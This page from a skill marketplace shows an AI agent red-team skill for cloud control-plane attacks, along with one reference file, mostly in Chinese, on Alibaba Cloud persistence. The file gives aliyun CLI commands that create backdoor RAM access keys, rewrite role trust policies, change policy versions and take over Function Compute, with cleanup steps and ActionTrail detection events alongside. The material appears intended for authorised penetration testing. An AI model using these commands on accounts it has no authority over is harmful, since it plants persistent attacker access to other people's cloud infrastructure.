pale-knight/redteam-skill / skills/cloud-attack
cloud-attack
FlaggedCloud control-plane exploitation for AWS, Azure/Entra, GCP, and Alibaba Cloud: IAM/RAM privilege escalation, impersonation, cross-account trust, serverless/compute control, and cloud-native persistence. Host OS persistence/C2 after root/SYSTEM belongs to /post. K8s RBAC belongs to /k8s. Operator chooses next modules; new identities default to /cloud-recon first.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 3.8 KB |
| references/alibaba-persistence.md | markdown | 2.0 KB |
| references/alibaba-privesc-paths.md | markdown | 3.0 KB |
| references/aws-persistence.md | markdown | 2.7 KB |
| references/aws-privesc-paths.md | markdown | 3.3 KB |
| references/aws-serverless.md | markdown | 2.1 KB |
| references/azure-persistence.md | markdown | 2.1 KB |
| references/azure-privesc-paths.md | markdown | 1.8 KB |
| references/gcp-persistence.md | markdown | 1.5 KB |
| references/gcp-privesc-paths.md | markdown | 1.9 KB |
references/alibaba-persistence.md
View on GitHub# Alibaba Cloud / 阿里云平台原生持久化
主机 SSH/cron/systemd/C2 属于 `/post`;ACK RBAC/Webhook 属于 `/k8s`。
## 1. RAM User AccessKey
条件:`ram:CreateAccessKey` on controlled/high-value RAM user。
```bash
aliyun ram ListAccessKeys --UserName <USER>
aliyun ram CreateAccessKey --UserName <USER>
```
成功:创建响应返回新的 AccessKeyId/AccessKeySecret。
清理:
```bash
aliyun ram DeleteAccessKey \
--UserName <USER> \
--UserAccessKeyId <ACCESS_KEY_ID>
```
## 2. RAM Role Trust Persistence
保存:
```bash
aliyun ram GetRole --RoleName <ROLE> > role-original.json
```
新增受控 Principal 到 trust:
```bash
aliyun ram UpdateRole \
--RoleName <ROLE> \
--NewAssumeRolePolicyDocument "$(cat trust-test.json)"
```
验证:使用受控 principal `aliyun sts AssumeRole ...`。
清理:恢复原 `AssumeRolePolicyDocument`。
## 3. RAM Policy Attachment / Version
对已有受控 User/Role 增加 policy,或创建新的 policy version 并切 default,都能形成持续控制能力。
要求:保存原 attachment/default version,测试结束恢复。
## 4. Function Compute Persistence
如果可持续修改 Function code/config/trigger 或绑定/控制其 RAM Role,可以形成 Serverless persistence。
必须记录:
```text
原 code/version
原 handler/runtime
原 environment
原 role
原 triggers
```
验证完成恢复。
## 5. CloudSSO / OIDC / Federation
Alibaba CLI/SDK 当前支持 OIDC、CloudSSO、External、CredentialsURI、BearerToken 等高级 credential 方法。若环境本身使用 federation,枚举信任关系和可控 IdP/subject 比只找长期 AK 更重要。
只有在明确具备创建/修改 federation 配置的权限时才执行 persistence 验证;否则记录为候选路径。
## 6. Detection / Cleanup
关注 ActionTrail 中:
```text
CreateAccessKey / DeleteAccessKey
UpdateRole
AttachPolicy* / DetachPolicy*
CreatePolicyVersion / SetDefaultPolicyVersion
Function Compute configuration/code/trigger changes
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |